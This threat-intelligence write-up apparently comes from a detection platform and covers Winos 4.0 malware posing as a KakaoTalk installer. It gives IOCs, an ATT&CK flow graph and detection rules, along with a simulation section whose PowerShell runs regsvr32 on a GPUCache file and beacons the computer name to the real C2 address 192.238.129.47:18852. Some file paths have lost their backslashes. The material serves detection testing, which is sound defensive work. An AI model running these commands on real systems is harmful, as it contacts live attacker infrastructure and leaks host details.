Winos 4.0 Malware Masquerading as a KakaoTalk Installer
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
Attackers abused SEO poisoning to push a fake KakaoTalk installer to the top of search results. The installer carried an invalid code-signing certificate and embedded an NSIS package that unpacked malicious files including Verifier.exe and AutoRecoverDat.dll. Once executed, the malware achieved persistence through DLL registration, scheduled tasks, and a mutex, then connected to two separate C2 servers. Its capabilities included screen capture, system profiling, and in-memory execution of additional payloads.
Investigation
The AhnLab Security Intelligence Center reported more than 5,000 compromised PCs after the campaign began on March 9. Analysis showed that encrypted NSIS payloads decrypt and drop Verifier.exe and AutoRecoverDat.dll, create a mutex, and load shellcode from GPUCache.xml files. Depending on the shellcode branch, the malware contacted C2 infrastructure at 192.238.129.47 or 119.28.70.225. Persistence was maintained via DLL registration and scheduled tasks launching either Verifier.exe or rundll32 with the malicious DLL.
Mitigation
Organizations should block the malicious domains and download URLs associated with the campaign. Enforce strict code-signing validation and prevent execution of binaries carrying invalid certificates. Application allowlisting should be used to block unknown NSIS installers from running. Security teams should also monitor for the specific mutex, suspicious scheduled tasks, and registry changes outlined in the report.
Response
Detection teams should alert on creation of the mutex 77825d8f-46d1-42d0-b298-83068bf9e31d and scheduled tasks under Microsoft\Windows\AppID. Hunt for Verifier.exe and AutoRecoverDat.dll within user profile directories, and block outbound traffic to the known C2 IPs and ports. Perform forensic review of affected systems and fully remove all persistence artifacts and malicious components.
"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc classDef operator fill:#ff9900 %% Nodes – Techniques and Artifacts tech_initial_access["<b>Technique</b> – T1593.002 Search Engine Poisoning<br/><b>Description</b>: Manipulate SEO to rank malicious sites in search results."] class tech_initial_access technique tech_user_exec["<b>Technique</b> – T1204 User Execution<br/><b>Description</b>: Victim runs malicious installer believing it to be legitimate."] class tech_user_exec technique tech_obfuscation["<b>Technique</b> – T1027 Obfuscated Files or Information<br/><b>Description</b>: Payloads encrypted in NSIS installer and decrypted at runtime."] class tech_obfuscation technique tech_powershell["<b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b>: Executes PowerShell commands via cmd to modify Defender settings."] class tech_powershell technique tech_exclusions["<b>Technique</b> – T1564.012 File/Path Exclusions<br/><b>Description</b>: Adds exclusion entries for C:\, D:\, E:\, F:\ in Windows Defender."] class tech_exclusions technique tech_rundll32["<b>Technique</b> – T1218.011 Rundll32 Proxy Execution<br/><b>Description</b>: Uses rundll32.exe to load malicious AutoRecoverDat.dll."] class tech_rundll32 technique tech_appcert["<b>Technique</b> – T1546.009 AppCert DLLs<br/><b>Description</b>: Registers DLL for execution when AppCert loads, enabling persistence and escalation."] class tech_appcert technique tech_schtask["<b>Technique</b> – T1053 Scheduled Task/Job<br/><b>Description</b>: Creates tasks to launch Verifier.exe and rundll32 at system startup."] class tech_schtask technique tech_c2_nonstd["<b>Technique</b> – T1571 Non-Standard Port<br/><b>Description</b>: Communicates with C2 servers on ports 18852 and 443."] class tech_c2_nonstd technique tech_port_knocking["<b>Technique</b> – T1205.001 Port Knocking<br/><b>Description</b>: Uses port knocking to hide C2 traffic."] class tech_port_knocking technique tech_dynamic_res["<b>Technique</b> – T1568 Dynamic Resolution<br/><b>Description</b>: Resolves C2 addresses at runtime, adapts to presence of Chinese AV products."] class tech_dynamic_res technique tech_indicator_removal["<b>Technique</b> – T1027.005 Indicator Removal from Tools<br/><b>Description</b>: Checks for specific AV products and alters persistence accordingly."] class tech_indicator_removal technique tech_software_disc["<b>Technique</b> – T1518.001 Software Discovery<br/><b>Description</b>: Gathers installed software list for reconnaissance."] class tech_software_disc technique tech_path_intercept["<b>Technique</b> – T1574.009 Path Interception by Unquoted Path<br/><b>Description</b>: Exploits unquoted service paths to load malicious DLL."] class tech_path_intercept technique %% Nodes – Files / Payloads file_installer["<b>File</b>: Malicious NSIS Installer (KakaoTalk_Setup_patched.RAR)"] class file_installer malware file_verifier["<b>File</b>: Verifier.exe"] class file_verifier malware file_dll["<b>File</b>: AutoRecoverDat.dll"] class file_dll malware %% Nodes – Commands / Processes proc_powershell["<b>Process</b>: powershell.exe (adds Defender exclusions)"] class proc_powershell process proc_rundll32["<b>Process</b>: rundll32.exe (loads AutoRecoverDat.dll)"] class proc_rundll32 process proc_schtask["<b>Process</b>: schtasks.exe (creates scheduled tasks)"] class proc_schtask process %% Connections u2013 Attack Flow tech_initial_access –>|leads_to| tech_user_exec tech_user_exec –>|executes| file_installer file_installer –>|contains| tech_obfuscation tech_obfuscation –>|decrypts| file_verifier tech_obfuscation –>|decrypts| file_dll file_installer –>|calls| tech_powershell tech_powershell –>|executes| proc_powershell proc_powershell –>|adds| tech_exclusions file_installer –>|uses| tech_rundll32 tech_rundll32 –>|launches| proc_rundll32 proc_rundll32 –>|loads| file_dll tech_appcert –>|registers| file_dll tech_appcert –>|enables| tech_schtask tech_schtask –>|creates| proc_schtask proc_schtask –>|schedules| file_verifier proc_schtask –>|schedules| proc_rundll32 tech_appcert –>|provides| tech_path_intercept tech_path_intercept –>|facilitates| tech_appcert tech_c2_nonstd –>|used_by| file_verifier tech_c2_nonstd –>|used_by| file_dll file_verifier –>|communicates via| tech_port_knocking file_dll –>|communicates via| tech_port_knocking tech_port_knocking –>|relies_on| tech_dynamic_res tech_dynamic_res –>|detects| tech_indicator_removal tech_indicator_removal –>|modifies| tech_appcert file_installer –>|collects| tech_software_disc "
Attack Flow
Detections
Rundll32 Dll Suspicious Path Execution (via process_creation)
View
Windows Defender Preferences Suspicious Changes (via powershell)
View
Suspicious Command and Control by Unusual Top Level Domain (TLD) DNS Request (via dns)
View
IOCs (HashMd5) to detect: Winos4.0 Malware Disguised as KakaoTalk Installer
View
IOCs (DestinationIP) to detect: Winos4.0 Malware Disguised as KakaoTalk Installer
View
IOCs (SourceIP) to detect: Winos4.0 Malware Disguised as KakaoTalk Installer
View
Detection of Winos4.0 Malware Activities [Windows Process Creation]
View
C2 Communication for Winos4.0 Malware via GPUCache Files [Windows Network Connection]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative must directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
The adversary has already placed malicious DLLs inside the
%LOCALAPPDATA%MicrosoftWindowsGPUCachedirectory, masquerading as legitimate cache files. To execute the payload, the attacker leverages Regsvr32 (T1218.012) to load the DLL, then uses the loaded component to initiate C2 communication over TCP port 18852 (or HTTPS port 443) to the hard‑coded server 192.238.129.47. This network flow is the observable indicator the Sigma rule watches.- Load malicious DLL via Regsvr32
regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" - Initiate C2 beacon (the malicious DLL opens a TCP socket to the C2 server). For testing, we emulate the beacon with a simple PowerShell TCP client that connects to the same IP/port.
$c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852) $stream = $c2.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon from $env:COMPUTERNAME") $stream.Write($payload,0,$payload.Length) $stream.Close() $c2.Close()
- Load malicious DLL via Regsvr32
-
Regression Test Script: The following script reproduces the above steps end‑to‑end and will generate the exact network telemetry the Sigma rule expects.
# ------------------------------------------------- # Winos4.0 C2 Simulation – triggers Sigma rule # ------------------------------------------------- # 1. Load the malicious (simulated) DLL via Regsvr32 $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Write-Host "[*] Registering malicious DLL via Regsvr32..." regsvr32 /s $dllPath } else { Write-Error "[-] Simulated DLL not found at $dllPath – aborting." exit 1 } # 2. Emulate C2 beacon to the hard‑coded IP/port $c2IP = '192.238.129.47' $c2Port = 18852 Write-Host "[*] Establishing TCP connection to $c2IP:$c2Port ..." try { $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port) $stream = $client.GetStream() $msg = "Beacon from $env:COMPUTERNAME at $(Get-Date -Format o)" $bytes = [System.Text.Encoding]::ASCII.GetBytes($msg) $stream.Write($bytes,0,$bytes.Length) Write-Host "[+] Beacon sent." } catch { Write-Error "[-] Connection failed: $_" } finally { if ($stream) { $stream.Close() } if ($client) { $client.Close() } } # ------------------------------------------------- -
Cleanup Commands: Remove any temporary artifacts and close lingering connections.
# Remove the simulated malicious DLL (if it was a test artifact) $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml" if (Test-Path $dllPath) { Remove-Item -Path $dllPath -Force Write-Host "[*] Cleaned up simulated DLL." } # Ensure no orphaned TCP listeners remain (unlikely for client‑side only) Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object { # No action needed; connections are closed in the script. }